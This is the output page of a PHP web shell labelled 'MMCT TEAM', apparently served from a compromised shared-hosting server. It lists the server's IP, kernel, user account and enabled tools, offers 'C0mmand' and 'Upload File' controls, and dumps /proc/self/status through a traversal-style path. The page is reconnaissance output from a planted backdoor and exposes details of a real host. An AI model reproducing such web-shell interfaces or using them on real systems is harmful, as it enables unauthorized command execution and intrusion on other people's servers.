MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.63
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0555) :  /home/../etc/../proc/irq/123/../119/../138/../../self/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/../etc/../proc/irq/123/../119/../138/../../self/status
Name:	lsphp
Umask:	0022
State:	R (running)
Tgid:	163804
Ngid:	0
Pid:	163804
PPid:	3355063
TracerPid:	0
Uid:	926327694	926327694	926327694	926327694
Gid:	1053599048	1053599048	1053599048	1053599048
FDSize:	64
Groups:	1053599048 
NStgid:	163804
NSpid:	163804
NSpgid:	163804
NSsid:	163804
VmPeak:	  868512 kB
VmSize:	  868512 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   16280 kB
VmRSS:	   16280 kB
RssAnon:	    7596 kB
RssFile:	    8288 kB
RssShmem:	     396 kB
VmData:	   22156 kB
VmStk:	    1012 kB
VmExe:	    4980 kB
VmLib:	   93768 kB
VmPTE:	     748 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	0/2059983
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000001000000
SigCgt:	0000000184005e6f
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	ffffffff,ffffffff
Cpus_allowed_list:	0-63
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	0
nonvoluntary_ctxt_switches:	0

MMCT - 2023